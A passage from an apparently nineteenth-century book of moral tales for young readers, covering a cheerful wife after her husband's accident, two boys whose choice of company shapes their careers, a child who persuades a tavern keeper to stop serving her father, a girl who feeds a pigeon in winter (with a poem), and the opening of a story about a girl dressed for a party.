in her countenance, except that it was a trifle paler.
"O! Come in!" she said, a smile of pleasure brightening over her
face. But Mrs. Caldwell could not smile in return. It seemed to her
as if it would be a mockery of the trouble which had come down upon
that humble dwelling.
"How is your husband, Mary?" she asked with a solemn face, as soon
as they had entered. "I only heard a little while ago of this
dreadful occurrence."
"Thank you, ma'am," replied Mrs. Brady, her countenance hardly
falling to a serious tone in its expression. "He's quite comfortable
to-day; and it's such a relief to see him out of pain. He suffered
considerably through the night, but fell asleep just at day dawn,
and slept for several hours. He awoke almost entirely free from
pain."
"There are no internal injuries, I believe," said Mrs. Bland.
"None, the doctor says. And I'm so thankful. Broken bones are bad
enough, and it is hard to see as kind and good a husband as I have
suffer,"--Mary's eyes grew wet, "but they will knit and become strong
again. When I think how much worse it might have been, I am
condemned for the slightest murmur that escapes my lips."
"What are you going to do, Mary?" asked Mrs. Caldwell. "Your husband
won't be fit for work in a month, and you have a good many mouths to
fill."
"A woman's wit and a woman's will can do a great deal," answered
Mrs. Brady, cheerfully. "You see"--pointing to a table, on which lay
a bundle--"that I have already been to the tailor's for work. I'm a
quick sewer, and not afraid but what I can earn sufficient to keep
the pot boiling until John is strong enough to go to work again.
'Where there's a will, there's a way,' Mrs. Caldwell. I've found
that true so far, and I reckon it will be true to the end. John will
have a good resting spell, poor man! And, dear knows, he's a right
to have it, for he's worked hard, and with scarcely a holiday, since
we were married."
"Well, well, Mary," said Mrs. Caldwell, in manifest surprise, "you
beat me out! I can't understand it. Here you are, under
circumstances that I should call of a most distressing and
disheartening nature, almost as cheerful as if nothing had happened.
I expected to find you overwhelmed with trouble, but, instead, you
are almost as tranquil as a June day."
"The truth is," replied Mrs. Brady, drawing, almost for shame, a
veil of sobriety over her face, "I've had no time to be troubled. If
I'd given up, and set myself down with folded hands, no doubt I
should have been miserable enough. But that isn't my way, you see.
Thinking about what I shall do, and their doing it, keep me so well
employed, that I don't get opportunity to look on the dark side of
things. And what would be the use? There's always a bright side as
well as a dark side, and I'm sure it's pleasant to be on the bright
side, if we can get there; and always try to manage it, somehow."
"Your secret is worth knowing, Mary," said Mrs. Bland.
"There's no secret about it," answered the poor woman, "unless it be
in always keeping busy. As I said just now, I've no time to be
troubled, and so trouble, after knocking a few times at my door, and
not gaining admittance, passes on to some other that stands ajar--and
there are a great many such. The fact is, trouble don't like to
crowd in among busy people, for they jostle her about, and never
give her a quiet resting place, and so she soon departs, and creeps
in among the idle ones. I can't give any better explanation, Mrs.
Bland."
"Nor, may be, could the wisest philosopher that lives," returned
that lady.
The two friends, after promising to furnish Mrs. Brady with an
abundance of lighter and more profitable sewing than she had
obtained at a clothier's, and saying and doing whatever else they
felt to be best under the circumstances, departed. For the distance
of a block they walked in silence. Mrs. Caldwell spoke first.
"I am rebuked," she said; "rebuked, as well as instructed. Above all
places in the world, I least expected to receive a lesson there."
"Is it not worth remembering?" asked the friend.
"I wish it were engraved in ineffaceable characters on my heart. Ah,
what a miserable self-tormentor I have been! The door of my heart
stand always ajar, as Mary said, and trouble comes gliding in that
all times, without so much as a knock to herald his coming. I must
shut and bar the door!"
"Shut it, and bar it, my friend!" answered Mrs. Bland. "And when
trouble knocks, say to her, that you are too busy with orderly and
useful things--too earnestly at work in discharging dutiful
obligations, in the larger sphere, which, by virtue of larger means,
is yours to work in--to have any leisure for her poor companionship,
and she will not tarry on your threshold. Throw to the winds such
light causes of unhappiness as were suffered to depress you this
morning, and they will be swept away like thistle down."
"Don't speak of them. My cheek burns at the remembrance," said Mrs.
Caldwell.
They now stood at Mrs. Caldwell's door.
"You will come in?"
"No. The morning has passed, and I must return home."
"When shall I see you?" Mrs. Caldwell grasped tightly her friends'
hand.
"In a day or two."
"Come to-morrow, and help me to learn in this new book that has been
opened. I shall need a wise and a patient teacher. Come, good, true,
kind friend!"
"Give yourself no time for trouble," said Mrs. Bland, with a tender,
encouraging smile. "Let true thoughts and useful deeds fill all your
hours. This is the first lesson. Well in the heart, and all the rest
is easy."
And so, Mrs. Caldwell found it. The new life she strove to lead, was
easy just in the degree she lived in the spirit of this lesson, and
hard just in the degree of her departure.
IX.
A GOOD NAME.
TWO boys, named Jacob Peters and Ralph Gilpin were passing along
Chestnut Street one evening about ten years ago, when one of them,
stopped, and said,--
"Come, Ralph, let us have some oysters. I've got a quarter." They
were in front of an oyster-cellar.
"No," replied Ralph, firmly. "I'm not going down there."
"I didn't mean that we should get anything to drink," replied the
other.
"No matter: they sell liquor, and I don't wish to be seen in such a
place."
"That's silly," said Jacob Peters, speaking with some warmth. "It
can't hurt you to be seen there. They sell oysters, and all we
should go there for would be to buy oysters. Come along. Don't be
foolish!" And Jacob grasped the arm of Ralph, and tried to draw him
towards the refectory. But Ralph stood immovable.
"What harm can it do?" asked Jacob.
"It might do at great deal of harm."
"In what way?"
"By hurting my good name."
"I don't understand you."
"I might be seen going in or coming out by some one who know me, and
who might take it for granted that my visit, was for liquor."
"Well, suppose he did? He would be wrong in his inference; and what
need you care? A clear conscience, I have heard my uncle say, is
better than any man's opinion, good or bad."
"I prefer the clear conscience and the good opinion together, if I
can secure both at the same time," said Ralph.
"O, you're too afraid of other people's opinions," replied Jacob, in
a sneering manner. "As for me, I'll try to do right and be right,
and not bother myself about what people may think. Come, are you
going to join me in a plate of oysters?"
"No."
"Very well. Good by. I'm sorry you're afraid to do right for fear
somebody may think you're going to do wrong," and Jacob Peters
descended to the oyster-cellar, while Ralph Gilpin passed on his way
homeward. As Jacob entered the saloon he met a man who looked at him
narrowly, and as Jacob thought, with surprise. He had seen this man
before, but did not know his name.
A few weeks afterwards, the two boys, who were neighbor, sat
together planning a row-boat excursion on the Schuylkill.
"We'll have Harry Elder, and Dick Jones, and Tom Forsyth," said
Jacob.
"No, not Tom Forsyth," objected Ralph.
"Why not? He's a splendid rower."
"I don't wish to be seen in his company," said Ralph. "He doesn't
bear a good character."
"O, well; that's nothing to us."
"I think it is a great deal to us. We are judged by the company we
keep."
"Let people judge; who cares?" replied Jacob; "not I."
"Well, I do, then," answered Ralph.
"I hate to see a boy so 'fraid of a shadow as you are."
"A tainted name is no shadow; but a real evil to be afraid of."
"I don't see how our taking Tom Forsyth along is going to taint your
name, or mine either."
"He's a bad boy," Ralph firmly objected. "He uses profane language.
You and I have both seen him foolish from drink. And we know that he
was sent home from a good place, under circumstances that threw
suspicion on his honesty. This being so, I am not going to be seen
in his company. I think too much of my good name."
"But, Ralph," urged Jacob, in a persuasive manner, "he's such a
splendid rower. Don't be foolish about it; nobody'll see us. And we
shall have such a grand time. I'll make him promise not to use a
wicked word all day."
"It's no use to talk, Jacob. I'm not going in company with Tom
Forsyth if I never go boating."
"You're a fool!" exclaimed Jacob, losing his temper.
Ralph's face burned with anger, but he kept back the sharp words
that sprung to his lips, and after a few moments said, with forced
composure,--
"There's no use in you're getting mad about it, Jacob. If you prefer
Tom to me, very well. I haven't set my heart on going."
"I've spoken to Tom already," said Jacob, cooling off a little. "And
he's promised to go; so there's no getting away from it. I'm sorry
you're so over nice."
The rowing party came off, but Ralph was not of the number. As the
boys were getting into the boat at Fairmount, Jacob noticed two or
three men standing on the wharf; and on lifting his eyes to the face
of one of them, he recognized the same individual who had looked at
him so intently as he entered the oyster saloon. The man's eyes
rested upon him for a few moments, and then turned to the boy, Tom
Forsyth. Young Peters might have been mistaken, but he thought he
saw on the man's face a look of surprise and disapprobation. Somehow
or other he did not feel very comfortable in mind as the boat pushed
off from shore. Who was this man? and why had he looked at him twice
so intently, and with something of disapproval in his face?
Jacob Peters was fifteen years old. He had left school a few weeks
before, and his father was desirous of getting him into a large
whole-sale house, on Market Street. A friend was acquainted with a
member of the firm, and through his kind offices he hoped to make
the arrangement. Some conversation had already taken place between
the friend and merchant, who said they wished another lad in the
store, but were very particular as to the character of their boys.
The friend assured him that Jacob was a lad of excellent character;
and depending on this assurance, a preliminary engagement had been
made, Jacob was to go into the store just one week from the day on
which he went on the boating excursion. Both his own surprise and
that of his father may be imagined when a note came, saying that the
firm in Market Street had changed its views in regard to a lad, and
would not require the services of Jacob Peters.
The father sent back a polite note, expressing regret at the change
of view, and asking that his son should still be borne in mind, as
he would prefer that situation for him to any other in the city.
Jacob was the bearer of this note. When he entered the store, the
first person he met was the man who looked at him so closely in the
oyster saloon and on the wharf at Fairmount. Jacob handed him the
note, which he opened and read, and then gave him cold bow.
A glimpse of the truth passed through Jacob's mind. He had been
misjudged, and here was the unhappy result. His good name had
suffered, and yet he had done nothing actually wrong. But boys, like
men, are judged by the company they keep and the places in which
they are seen.
"I'm going into a store next week," said Ralph Gilpin, to his friend
Jacob, about a week afterwards.
"Where?" asked Jacob.
"On Market Street."
"In what store?"
"In A. & L.'s," replied Ralph.
"O, no!" ejaculated Jacob, his face flushing, "not there!"
"Yes," replied Ralph. "I'm going to A. & L.'s. Father got me the
place. Don't you think I'm lucky? They're very particular about the
boys they taking that store. Father says he considers their choice
of me quite a compliment. I'm sure I feel proud enough about it."
"Well, I think they acted very meanly," said Jacob, showing sonic
anger. "They promised father that I should have the place."
"Are you sure about that?" asked the young friend.
"Certainly I am. I was to go there this week. But they sent father a
note, saying they had changed their minds about a boy."
"Perhaps," suggested Ralph, "it you were seen going into a drinking
saloons or in company with Tom Forsyth. You remember what I said to
you about preserving a good name."
Jacob's face , and his eyes fell to the ground.
"O, that's only your guess," he replied, tossing his head, and
putting on an incredulous look; but he felt in his heart that the
suggestion of Ralph was true.
It was over six months before Jacob Peters was successful in getting
a place, and then he had to go into a third-rate establishment,
where the opportunity for advancement was small, and where his
associates were not of the best character.
The years passed on; and Ralph continued as careful as in the
beginning to preserve a good name. He was not content simply with
doing right; but felt that it was a duty to himself, and to all who
might, in any way be dependent on him, to appear right also. He was,
therefore, particular in regard to the company he kept and the
places he visited. Jacob, on the contrary, continued to let
inclination rather than prudence govern him in these matters. His
habits were probably as good as those of Ralph, and his business
capacity fully equal. But he was not regarded with the same favor,
for he was often seen in company with young men known to be of loose
morals, and would occasionally, visit billiard-saloons,
tenpin-alleys, and other places where men of disreputable character
are found. His father, who observed Jacob closely, remonstrated with
him occasionally as the boy advanced towards manhood; but Jacob put
on an independent air, and replied that he went on the principle of
being right with himself. "You can't," he would say, "keep free from
misjudgment, do what you will. Men are always more inclined to think
evil of each other than good. I do nothing that I'm ashamed of."
So he continued to go where he pleased, and to associate with whom
he pleased, not caring what people might say.
It is no very easy thing for as young man to make his way in the
world. All the avenues to success are thickly crowded with men of
talent, industry, and energy, and many favorable circumstances must
conspire to help him who gets very far in advance. Talent and
industry are wanted in business, but the passport of a good
character must accompany them, or they cannot be made rightly
available to their possessor. It is, therefore, of the first
importance to preserved a good name, for this, if united with
ability and industry, with double your chances of success in life;
for men will put confidence in you beyond what they can in others,
who do not stand so fairly in common estimation.
In due time Ralph Gilpin and Jacob Peters entered the world as men,
but not at equal advantage. They had learned the same business, and
were both well acquainted with its details; but Ralph stood fairer
in the eyes of business men, with whom he had come in contact,
because he had been more careful about his reputation.
While Jacob was twenty-three years of age, he was getting a salary
of one thousand dollars a year; but this was too small a sum to meet
the demands that had come upon him. His father, to whom he was
tenderly attached, had lost his health and failed in business. In
consequence of this, the burden of maintaining the family fell
almost entirely on Jacob. It would not have been felt as a burden if
his income had been sufficient for their support. But it was not,
unless their comfortable style of living was changed, and all shrunk
together in a smaller house. He had sisters just advancing towards
womanhood, and for their sakes, particularly, did he regret the
stern necessity that required a change.
About this time, the death of a responsible clerk in the house of A.
& L. left a vacancy to be filled, and as Jacob was in every way
competent to take the position, which commanded a salary of eighteen
hundred dollars he made application; Ralph Gilpin, who was a
salesman in the house, said all that he could in Jacob's favor; but
the latter had not been careful to preserve a good name, and this
was against him. The place was one of trust, and the members of the
firm, after considering the matter, decided adversely. Nothing as to
fact was alleged or known. Not a word as to his conduct in life was
said against him. But he had often been seen in company with young
men who did not bear a solid reputation, and where doubt existed, it
was not considered safe to employ him. So that good opportunity was
lost--lost through his own fault.
Poor Jacob felt gloomy and disappointed for a time; talked of
"fate," "bad luck," and all that kind of nonsense, when the cause of
his ill-success was to be attributed solely to an unwise disregard
of appearances.
"We shall have to remove," he said to his mother in a troubled way,
after this disappointment. "If I had secured the situation at A. &
L.'s all would have been well with us. But now nothing remains but
to seek a humbler place to remain here will only involve us in debt;
and that, above all things, we must avoid. I am sorry for Jane and
Alice; but it can't be helped."
His mother tried to answer cheerfully and hopefully: but her words
did not dispel a single shadow from his mind. A few days after this,
a gentleman said to Jacob Peters,--
"I'll give you a hint of something that is coming in the way of good
fortune. A gentleman, whose name I do not feel at liberty to
mention, contemplates going into your business. He has plenty of
capital, and wishes to unite himself with a young, active, and
experienced man. Two or three have been thought of--you among the
rest; find I believe it has been finally settled that Jacob Peters
is to be the man. So let me congratulate you, my young friend, on
this good fortune."
And he grasped the hand of Jacob, and shook it warmly. From the vale
of despondency, the young man was at once elevated to the
mountain-top of hope, and felt, for a time, bewildered in prospect
of the good fortune awaited him.
Almost in that very hour the capitalist, to whom his friend
referred, was in conversation with Mr. A., of the firm of A. & L.
"I have about concluded to associate with myself in business young
Jacob Peters," said the former; "but before coming to a final
conclusion, I thought it best to ask your opinion in the matter. You
know the young man?"
"Yes," replied Mr. A., "I have known him in a business way for
several years. We have considerable dealing with the house in which
he is employed."
"What do you think of him?"
"He is a young man of decided business qualities."
"So it appear's to me. And you think favorably of him?"
"As to the business qualification I do," replied Mr. A., placing an
emphasis on the word business.
"Then you do not think favorably of him in some other respect?"
Mr. A. was silent.
"I hope," said the other, "that you will speak out plainly. This is
a matter, to me, of the first importance. If you know of any reason
why I should not associate this young man with me in business I
trust you will speak without reserve."
Mr. A. remained silent for some moments, and then said,--
"I feel considerably embarrassed in regard to this matter. I would
on no account give a wrong impression in regard to the young man. He
may be all right; is all right, perhaps; but--"
"But what, sir?"
"I have seen him in company with young men whose characters are not
fair. And I have seen him entering into and coming out of places
where it is not always safe to go."
"Enough, sir, enough!" said the gentleman, emphatically, "The matter
is settled. It may be all right with him, as you say. I hope it is.
But he can never be a partner of mine. And now, passing from him, I
wish to ask about another young man, who has been in my mind second
to Peters. He is in your employment."
"Ralph Gilpin, you mean."
"Yes."
"In every way unexceptionable. I can speak of him with the utmost
confidence. He is right in all respects--right as to the business
quality, right as to character, and right as to associations. You
could not have a better man."
"The matter is settled, then," replied the gentleman. "I will take
Ralph Gilpin if neither you nor he objects."
"There will be no objection on either side, I can answer for that,"
said Mr. A., and the interview closed.
From the mountain-top of hope, away down into the dark vale of
despondency, passed Jacob Peters, when it was told him that Ralph
Gilpin was to be a partner in the new firm which he had expected to
enter.
"And so nothing is left to us," he said to himself, in bitterness of
spirit, "but go down, while others, no better than we are, move
steadily upwards. Why should Ralph Gilpin be preferred before me? He
has no higher ability nor stricter integrity. He cannot be more
faithful, more earnest, or more active than I would have been in the
new position. But I am set aside and he is taken. It is a bitter,
bitter disappointment!"
Three years have passed, and Ralph Gilpin is on the road to fortune,
while Jacob Peters remains a clerk. And why? The one was careful of
his good name; the other was not.
My young reader, take the lesson to heart. Guard well your good
name; and as name signifies quality, by all means guard your spirit,
so that no evil thing enter there; and your good name shall be only
the expression of your good quality.
X.
LITTLE LIZZIE.
"IF they wouldn't let him have it!" said Mrs. Leslie, weeping. "O,
if they wouldn't sell him liquor, there'd be no trouble! He's one of
the best of men when he doesn't drink. He never brings liquor into
the house; and he tries hard enough, I know, to keep sober, but he
cannot pass Jenks's tavern."
Mrs. Leslie was talking with a sympathizing neighbor, who responded,
by saying, that she wished the tavern would burn down, and that, for
her part, she didn't feel any too good to apply fire to the place
herself. Mrs. Leslie sighed, and wiped away the tears with her
checked apron.
"It's hard, indeed, it is," she murmured, "to see a man like Jenks
growing richer and richer every day out of the earnings of poor
working-men, whose families are in want of bread. For every sixpence
that goes over his counter some one is made poorer--to some heart is
given a throb of pain."
"It's a downright shame!" exclaimed the neighbor, immediately. "If I
had my way with the lazy, good-for-nothing fellow, I'd see that he
did something useful, if it was to break stone on the road. Were it
my husband, instead of yours, that he enticed into his bar, depend
on't he'd get himself into trouble."
While this conversation was going on, a little girl, not over ten
years of age, sat listening attentively. After a while she went
quietly from the room, and throwing her apron over head, took her
way, unobserved by her mother, down the road.
Where was little Lizzie going? There was a purpose in her mind: She
had started on a mission. "O, if they wouldn't sell him liquor!"
These earnest, tearful words of her, mother had filled her thoughts.
If Mr. Jenks wouldn't sell her father anything to drink, "there
would be no more trouble." How simple, how direct the remedy! She
would go to Mr. Jenks, and ask him not to let her father have any
more liquor, and then all would be well again. Artless, innocent
child! And this was her mission.
The tavern kept by Jenks, the laziest man in Milanville,--he was too
lazy to work, and therefore went to tavern-keeping,--stood nearly a
quarter of a mile from the poor tenement occupied by the Leslies.
Towards this point, under a hot, sultry sun, little Lizzie made her
way, her mind so filled with its purpose that she was unconscious of
heat of fatigue.
Not long before a traveller alighted at the tavern. After giving
directions to have his horses fed, he entered the bar-room, and went
to where Jenks stood, behind the counter.
"Have something to drink?" inquired the landlord.
"I'll take a glass of water, if you please."
Jenks could not hide the indifference at once felt towards the
stranger. Very deliberately he set a pitcher and a glass upon the
counter, and then turned partly away. The stranger poured out a
tumbler of water, and drank it off with an air of satisfaction.
"Good water, that of yours, landlord," said he.
"Is it?" was returned, somewhat uncourteously.
"I call it good water--don't you?"
"Never drink water by itself." As Jenks said this, he winked to one
of his good customers, who was lounging, in the bar. "In fact, it's
so long since I drank any water, that I forgot how it tastes. Don't
you, Leslie?"
The man, to whom this was addressed, was not so far lost to shame as
Jenks. He blushed and looked confused, as he replied,--
"It might be better for some of us if we had not lost our relish for
pure water."
"A true word spoken, my friend!" said the stranger, turning to the
man, whose swollen visage, and patched, threadbare garments, too
plainly told the story of his sad life. "'Water, pure water, bright
water;' that is my motto. It never swells the face, nor inflames the
eyes, nor mars the countenance. Its attendants are health, thrift,
and happiness. It takes not away the children's bread, nor the
toiling wife's garments. Water!--it is one of God's chiefest
blessings! Our friend, the landlord here, says he has forgotten how
it tastes; and you have lost all relish for the refreshing draught!
Ah, this is a sad confession!--one which the angels might weep to
hear!"
There were two or three customers in the bar besides Leslie, to whom
this was addressed; and all of them, in spite of the landlord's
angry and sneering countenance, treated the stranger with attention
and respect. Seeing this, Jenks could not restrain himself; so,
coming from behind his bar, he advanced to his side, and, laying his
hand quite rudely on his shoulder, said, in a peremptory manner,--
"See here, my friend! If you are about making a temperance lecture,
you can adjourn to the Town Hall or the Methodist Chapel."
The stranger moved aside a pace or two, so that the hand of Jenks
might fall from his person, and then said, mildly,--
"There must be something wrong here if a man may not speak in praise
of water without giving offense."
"I said you could adjourn your lecture!" The landlord's face was now
fiery red, and he spoke with insolence and passion.
"O, well, as you are president of the meeting, I suppose we must let
you exercise an arbitrary power of adjournment," said the stranger,
good-humoredly. "I didn't think any one had so strong a dislike for
water as to consider its praise an insult."
At this moment a child stepped into the bar-room. Her little face
was flushed, and great beads of perspiration were slowly moving down
her crimson cheeks. Her step was elastic, her manner earnest, and
her large, dark eyes bright with an eager purpose. She glanced
neither to the right nor the left, but walking up to the landlord,
lifted to him her sweet young face, and said, in tones that thrilled
every heart but his,--
"Please, Mr. Jenks, don't sell papa any more liquor!"
"Off home with you, this instant!" exclaimed Jenks, the crimson of
his face deepening to a dark purple. As he spoke, he advanced
towards the child, with his hand uplifted in a threatening attitude.
"Please don't, Mr. Jenks," persisted the child, not moving from
where she stood, nor taking her eyes front the landlord's
countenance. "Mother says, if you wouldn't sell him liquor, there'd
be no trouble. He's kind and good to us all when he doesn't drink."
"Off, I say!" shouted Jenks, now maddened beyond self-control; and
his hand was about descending upon the little one, when the stranger
caught her in his arms, exclaiming, as he did so, with deep
emotion,--
"God bless the child! No, no, precious one!" he added; "don't fear
him. Plead for your father--plead for your home. Your petition must
prevail! He cannot say nay to one of the little ones, whose angels
do always behold the face of their Father in heaven. God bless the
child!" added the stranger, in a choking voice. "O, that the father,
for whom she has come on this touching errand, were present now! If
there were anything of manhood yet left in his nature, this would
awaken it from its palsied sleep."
"Papa! O, papa!" now cried the child, stretching forth her hands. In
the next moment she was clinging to the breast of her father, who,
with his arms clasped tightly around her, stood weeping and mingling
his tears with those now raining from the little one's eyes.
What an oppressive stillness pervaded that room! Jenks stood subdued
and bewildered, his state of mental confusion scarcely enabling him
to comprehend the full import of the scene. The stranger looked on
wonderingly, yet deeply affected. Quietly, and with moist eyes, the
two or three drinking customers who had been lounging in the bar,
went stealthily out; and the landlord, the stranger and the father
and his child, were left the only inmates of the room.
"Come, Lizzie, dear! This is no place for us," said Leslie, breaking
the deep silence. "We'll go home."
And the unhappy inebriate took his child by the hand, and led her
towards the door. But the little one held back.
"Wait, papa; wait!" she said. "He hasn't promised yet. O, I wish he
would promise!"
"Promise her, in Heaven's name!" said the stranger.
"Promise!" said Leslie, in a stern yet solemn voice, as he turned
and fixed his eyes upon the landlord.
"If I do promise, I'll keep it!" returned Jenks, in a threatening
tone, as he returned the gaze of Leslie.
"Then, for God's sake, _promise!_" exclaimed Leslie, in a
half-despairing voice. "_Promise, and I'm safe!_"
"Be it so! May I be cursed, if ever I sell you a drop of drinking at
this bar, while I am landlord of the 'Stag and Hounds'!" Jenks spoke
with with an angry emphasis.
"God be thanked!" murmured the poor drunkard, as he led his child
away. "God be thanked! There is hope for me yet."
Hardly had the mother of Lizzie missed her child, ere she entered,
leading her father by the hand.
"O, mother!" she exclaimed, with a joy-lit countenance, and in a
voice of exultation, "Mr. Jenks has promised."
"Promised what?" Hope sprung up in her heart, on wild and fluttering
wings, her face flushed, and then grew deadly pale. She sat panting
for a reply.
"That he would never sell me another glass of liquor," said her
husband.
A pair of thin, white hands were clasped quickly together, an ashen
face was turned upwards, tearless eyes looked their thankfulness to
heaven.
"There is hope yet, Ellen," said Leslie.
"Hope, hope! And O, Edward, you have said the word!"
"Hope, through our child. Innocence has prevailed over vice and
cruelty. She came to the strong, evil, passionate man, and, in her
weakness and innocence, prevailed over him. God made her fearless
and eloquent."
A year afterwards a stranger came again that way, and stopped at the
"Stag and Hounds." As before, Jenks was behind his well-filled bar,
and drinking customers came and went in numbers. Jenks did not
recognize him until he called for water, and drank a full tumbler of
the pure liquor with a hearty zest. Then he knew him, but feigned to
be ignorant of his identity. The stranger made no reference to the
scene he had witnessed there a twelvemonth before, but lingered in
the bar for most of the day, closely observing every one that came
to drink. Leslie was not among the number.
"What has become of the man and the little girl I saw here, at my
last visit to Milanville?" said the stranger, speaking at last to
Jenks.
"Gone to the devil, for all I care," was the landlord's rude answer,
as he turned off from his questioner.
"For all you care, no doubt," said the stranger to himself. "Men
often speak their real thoughts in a passion."
"Do you see that little white cottage away off there, just at the
edge of the wood? Two tall poplars stand in front."
Thus spoke to the stranger one who had heard him address the
landlord.
"I do. What of it?" he answered.
"The man you asked for lives there."
"Indeed!"
"And what is more, if he keeps on as he has begun, the cottage will
be all his own in another year. Jenks, here, doesn't feel any good
blood for him, as you may well believe. A poor man's prosperity is
regarded as so much loss to him. Leslie is a good mechanic--one of
the best in Milanville. He can earn twelve dollars a week, year in
and year out. Two hundred dollars he has already paid on his
cottage; and as he is that much richer, Jenks thinks himself just so
much poorer; for all this surplus, and more too, would have gone
into his till, if Leslie had not quit drinking."
"Aha! I see! Well, did Leslie, as you call him, ever try to get a
drink here, since the landlord promised never to let him have
another drop?"
"Twice to my knowledge."
"And he refused him?"
"Yes. If you remember, he said, in his anger, '_May I be cursed_, if
I sell him another drop.'"
"I remember it very well."
"That saved poor Leslie. Jenks is superstitious in some things. He
wanted to get his custom again,--for it was well worth having,--and he
was actually handing him the bottle one day, when I saw it, and
reminded him of his self-imprecation. He hesitated, looked
frightened, withdrew the bottle from the counter, and then, with
curses, drove Leslie from his bar-room, threatening, at the same
time, to horsewhip him if ever he set a foot over his threshold
again."
"Poor drunkards!" mused the stranger, as he rode past the neat
cottage of the reformed man a couple of hours afterwards. "As the
case now stands, you are only saved as by fire. All law, all
protection, is on the side of those who are engaged in enticing you
into sin, and destroying you, body and soul. In their evil work,
they have free course. But for you, unhappy wretches, after they
have robbed you of worldly goods, and even manhood itself, are
provided prisons and pauper homes! And for your children,"--a dark
shadow swept over the stranger's face, and a shudder went through
his frame. "Can it be, a Christian country in which I live, and such
things darken the very sun at noonday!" he added as he sprung his
horse into a gallop and rode swiftly onward.
XI.
ALICE AND THE PIGEON.
ONE evening in winter as Alice, a dear little girl whom everybody
loved, pushed aside the curtains of her bedroom window, she saw the
moon half hidden by great banks of clouds, and only a few stars
peeping out here and there. Below, the earth lay dark, and cold. The
trees looked like great shadows.
There was at change in her sweet face as she let fall the curtain
and turned from the window.
"Poor birds!" she said.
"They are all safe," answered her mother, smiling. "God has provided
for every bird a place of rest and shelter, and each one knows where
it is and how to find it. Not many stay here in the winter time, but
fly away to the sunny south, where the air is warm and the trees
green and fruitful."
"God is very good," said the innocent child. Then she knelt with
folded hands, and prayed that her heavenly further would bless
everybody, and let his angels take care of her while she slept. Her
mother's kiss was still warm upon her lips as she passed into the
world of pleasant dreams.
In the morning, when Alice again pushed back the curtains from her
window, what a sight of wonder and beauty met her eyes! Snow had
fallen, and everything wore a garment of dazzling whiteness. In the
clear blue sky, away in the cast, the sun was rising; and as his
beams fell upon the fields, and trees, and houses, every object
glittered as if covered all over with diamonds.
But only for a moment or two did Alice look upon this beautiful
picture, for a slight movement drew her eyes to a corner of the
window-sill, on the outside, and there sat a pigeon close against
the window-pane, with its head drawn down and almost hidden among
the feathers, and its body shivering with cold. The pigeon did not
seem to be afraid of her, though she saw its little pink eyes
looking right into her own.
"O, poor, dear bird!" she said in soft, pitying tones, raising the
window gently, so that it might not be frightened away. Then she
stepped back and waited to see if the bird would not come in. Pigeon
raised its brown head in a half scared away; turned it to this side
and to that; and after looking first at the comfortable chamber and
then away at the snow-covered earth, quietly hopped upon the sill
inside. Next he flew upon the back of a chair, and then down upon
the floor.
"Little darling," said Alice, softly. Then she dressed herself
quickly, and went down stairs for some crumbs of bread, which she
scattered on the floor. The pigeon picked them up, with scarcely a
sign of fear.
As soon as he had eaten up all the crumbs, he flew back towards the
window and resting on the sill, swelled his glossy throat and cooed
his thanks to his little friend. After which darted away, the
morning sunshine glancing from wings.
A feeling of disappointment crept into the heart of Alice as the
bird swept out of sight. "Poor little darling!" she sighed. "If he
had only known how kind I would have been, and how safe he was here,
what nice food and pure water would have been given, he wouldn't
have flown away."
When Alice told about the visit of pigeon, at breakfast time, a
pleasant surprise was felt by all at the table. And they talked of,
doves and wood-pigeons, her father telling her once or two nice
stories, with which she was delighted. After breakfast, her mother
took a volume from the library containing Willis's exquisite poem,
"The little Pigeon," and gave it to Alice to read. She soon knew it
all by heart.
A great many times during the day Alice stood at the open door, or
looked from the windows, in hope of seeing the pigeon again. On a
distant house-top, from which the snow had been melted or blown
away, or flying through the air, she would get sight of a bird now
and then; but she couldn't tell whether or not it was the white and
brown pigeon she had sheltered and fed in the morning. But just
before sundown, as she stood by the parlor window, a cry of joy fell
from her lips. There was the pigeon sitting on a fence close by, and
looking, it seemed to her, quite forlorn.
Alice threw open the window, and then ran into the kitchen for some
crumbs of bread. When she came back, pigeon was still on the fence.
Then she called to him, holding out her her hand scattering a few
crumbs on the window-sill. The bird was hungry and had sharp eyes,
and when he saw Alice he no doubt remembered the nice meal she had
given him in the morning, in a few moments he flew to the window,
but seemed half afraid. So Alice stood a little back in the room,
when he began to pick up the crumbs. Then she came nearer and
nearer, holding out her hand that was full of crumbs, and as soon as
pigeon had picked up all that was on the sill, he took the rest of
his evening meal from the dear little girl's hand. Every now and
then he would stop and look up at his kind friend, as much as to
say, "Thank you for my nice supper. You are so good!" When he had
eaten enough, he cooed a little, bobbed his pretty head, and then
lifted his wings and flew away.
He did not come back again. At first Alice, was disappointed, but
this soon wore off, and only a feeling of pleasure remained.
"I would like so much to see him and feed him," she said. "But I
know he's better off and happier at his own home, with a nice place
to sleep in and plenty to eat, than sitting on a window-sill all
night in a snow storm." And then she would say over that sweet poem,
"The City Pigeon," which her mother had given her to get by heart.
Here it is, and I hope every one of my little readers will get it by
heart also:--
"Stoop to my window, thou beautiful dove!
Thy daily visits have touched my love.
I watch thy coming, and list the note
That stirs so low in thy mellow throat,
And my joy is high
To catch the glance of thy gentle eye.
"Why dost thou sit on the heated eaves,
And forsake the wood with its freshened leaves?
Why dost thou haunt the sultry street,
When the paths of the forest are cool and sweet?
How canst thou bear
This noise of people--this sultry air?
"Thou alone of the feathered race
Dost look unscared on the human face;
Thou alone, with a wing to flee,
Dost love with man in his haunts to be;
And the 'gentle dove'
Has become a name for trust and love.
"A holy gift is thine, sweet bird!
Thou'rt named with childhood's earliest word!
Thou'rt linked with all that is fresh and wild
In the prisoned thoughts of the city child;
And thy glossy wings
Are its brightest image of moving things.
"It is no light chance. Thou art set apart,
Wisely by Him who has tamed thy heart,
To stir the love for the bright and fair
That else were sealed in this crowded air
I sometimes dream
Angelic rays front thy pinions stream.
"Come then, ever, when daylight leaves
The page I read, to my humble eaves,
And wash thy breast in the hollow spout,
And murmur thy low sweet music out!
I hear and see
Lessons of heaven, sweet bird, in thee!"
XII.
DRESSED FOR A PARTY.
A LADY sat reading. She was so absorbed in her book as to be nearly
motionless. Her face, in repose, was serious, almost sad; for twice
a score of years had not passed without leaving the shadow of a
cloud or the mark of a tempest. The door opened, and, as she looked
up, pleasant smile lay softly on her lips. A beautiful girl,
elegantly attired for an evening party, came in.
"All ready?" said the lady, closing her volume, and looking at the
maiden with a lively interest, that blended thoughtfulness with
affection.
"All ready," aunt Helen. "And now what do you think of me? What is
the effect?" Tone, expression, and manner, all gave plainly enough
speaker's own answer to her questions. She thought the make up
splendid--the effect striking.
"Shall I say just what I think, Alice?"
A thin veil of shadows fell over the bright young countenance.
"Love will speak tenderly. But even tenderly-spoken things, not
